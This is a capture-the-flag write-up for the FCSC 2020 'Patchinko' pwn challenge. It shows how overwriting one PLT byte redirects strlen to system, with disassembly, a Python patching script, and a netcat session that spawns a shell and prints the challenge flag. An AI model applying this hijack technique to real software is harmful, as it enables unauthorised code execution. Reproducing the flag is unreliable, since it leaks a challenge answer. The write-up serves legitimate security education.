FCSC 2020 - Patchinko (pwn)
PWN - Patchinko
This challenge require a bit of understanding of ELF
format and especially PLT
section. A binary was given and also a tcp service running on a remote server.
When you connect to the remote server you got this message
================================
== Patchinko Gambling Machine ==
================================
We present you the new version of our Patchinko Gambling Machine!
This is a game of chance: you need to guess a 64-bit random number.
As we have been told that it is quite hard, we help you.
Before the machine executes its code, you can patch *one* byte of its binary.
Choose wisely!
At which position do you want to modify (base 16)?
>>>
So you can patch 1 byte
of the binary, not the memory at runtime but the binary itself.
We know may look at the binary .text
section to see which functions are used and how everything work together.
The main informations are :
system
is present in thePLT
2
fgets
call with4
and64
bytes read
Checking for the binary protections
$ checksec patchinko.bin
[*] '/home/switch/nextcloud/CTF/FCSC2020/pwn/patchinko/patchinko.bin'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments
Woah, no protections at all (without doubt ASLR however), open bar.
My first idea was to modify the second fgets
call, modifying the byte at 400876
with 0xff
to read 0xff04
bytes as
L:dsm:x86_64 > be04ff0000
0x00080000: mov esi, 0xff04
// fgets(v6, 64, stdin);
400869: 48 8b 15 20 08 20 00 mov rdx,QWORD PTR [rip+0x200820] # 601090
400870: 48 8d 45 f4 lea rax,[rbp-0xc]
400874: be 04 00 00 00 mov esi,0x4 // just here
400879: 48 89 c7 mov rdi,rax
40087c: e8 6f fe ff ff call 4006f0 <fgets@plt>
We would have a buffer overflow and could start roping
this binary, but before to go I checked the available gadgets with ROPgadget
looking for pop rdi
0x0000000000400806 : cmp dword ptr [rdi], 0 ; jne 0x400815 ; jmp 0x4007a5
0x0000000000400805 : cmp qword ptr [rdi], 0 ; jne 0x400816 ; jmp 0x4007a6
0x000000000040089d : or cl, byte ptr [rdi] ; mov dh, 0x45 ; hlt ; cmp al, 0x6e ; je 0x4008b1 ; jmp 0x400861
0x0000000000400a33 : pop rdi ; ret
Sadly the address contains a \n
, if we send our payload fgets
will stop the reading just after reading the first 0x0a
and the remaining of our payload will be lost, unexploitable this way.
The gadgets contained in
__libc_csu_init
also contains this char ..
Never mind we can exploit this the smart way.
The PLT
(Procedure Linkage Table) is a section in the TEXT
segment once mapped. This stub is in charge of resolving external symbols (like these in the libc
). I won’t explain how it works here but check the sources I will link useful post to understand it.
The way to exploit this binary is to modify an entry in the PLT
to hijack the call to a function to execute another one, system
for example.
As we want to call system
we can only hijack a function with the same args as it, a pointer to the string to be executed.
The perfect target is strlen
.
do
{
printf("Is this your first time here? [y/n]\n>>> ");
fgets(s, 4, stdin);
s[strlen(s) - 1] = 0;
}
while ( s[0] != 121 && s[0] != 110 );
It is called with a pointer to a string that we send through fgets
, however we will only be able to send 4
char, is way enough for sh
.
Now we have to find which byte to modify.
$ objdump -d plt -Mintel patchinko.bin
00000000004006c0 <strlen@plt>:
4006c0: ff 25 6a 09 20 00 jmp QWORD PTR [rip+0x20096a] # 601030 <strlen@GLIBC_2.2.5>
4006c6: 68 03 00 00 00 push 0x3
4006cb: e9 b0 ff ff ff jmp 400680 <.plt>
00000000004006d0 <system@plt>:
4006d0: ff 25 62 09 20 00 jmp QWORD PTR [rip+0x200962] # 601038 <system@GLIBC_2.2.5>
4006d6: 68 04 00 00 00 push 0x4
4006db: e9 a0 ff ff ff jmp 400680 <.plt>
Instead of making a jump to [rip+0x20096a]
we have to do the same jump as system
which jump at [rip+0x200962]
.
jmp instruction is relative we can’t just modify the byte with
0x62
We have to compute the number of byte (opcode) between these two jump.
0x4006d0 - 0x4006c0 = 0xa
So we have to jump from a bit less far than at 0x4006d0
so we must add 16
to the offset accessed by system
0x62 + 0x10 = 0x72
As I love debug and be sure before going raw, I will test on my machine. As the patching service is not provided I will use my personal lib for ELF
patching.
#!/usr/bin/python
from Hellf import ELF
from IPython import embed
from sys import argv
from struct import pack
e = ELF("./patchinko.bin")
text = e.get_section_by_name(".plt")
offset = int(argv[1], 16) - text.sh_offset
text.data = text.data [:offset] + pack("B", int(argv[2], 16)) + text.data [offset + 1:]
e.save("./patched")
$ gdb ./patched
gef➤ disass system
Dump of assembler code for function system@plt:
0x00000000004006c0 <+0>: jmp QWORD PTR [rip+0x200972] # 0x601038 <system@got.plt>
0x00000000004006c6 <+6>: push 0x3
0x00000000004006cb <+11>: jmp 0x400680
0x00000000004006d0 <+16>: jmp QWORD PTR [rip+0x200962] # 0x601038 <system@got.plt>
0x00000000004006d6 <+22>: push 0x4
0x00000000004006db <+27>: jmp 0x400680
End of assembler dump.
gef➤ disass strlen
No symbol table is loaded. Use the "file" command.
the call to strlen
do not exist anymore it is replaced by the system
call, nice. We can set a breakpoint at the old address of strlen
at 0x400888
and execute the binary.
No more strlen
call, we will execute sh
with the system
call. We win.
We can now go online and get this flag !
# λ ackira ~/nextcloud/CTF/FCSC2020/pwn/patchinko » rlwrap nc challenges1.france-cybersecurity-challenge.fr 4009
# ================================
# == Patchinko Gambling Machine ==
# ================================
#
# We present you the new version of our Patchinko Gambling Machine!
# This is a game of chance: you need to guess a 64-bit random number.
# As we have been told that it is quite hard, we help you.
# Before the machine executes its code, you can patch *one* byte of its binary.
# Choose wisely!
#
# At which position do you want to modify (base 16)?
# >>> 6c2
# Which byte value do you want to write there (base 16)?
# >>> 72
# == Let's go!
# Hello! Welcome to Patchinko Gambling Machine.
# Is this your first time here? [y/n]
# >>> sh
# ls
# flag
# patchinko.bin
# patchinko.py
# cat flag
# FCSC{b4cbc07a77bb0984b994c9e34b2897ab49f08524402c38621a38bc4475102998}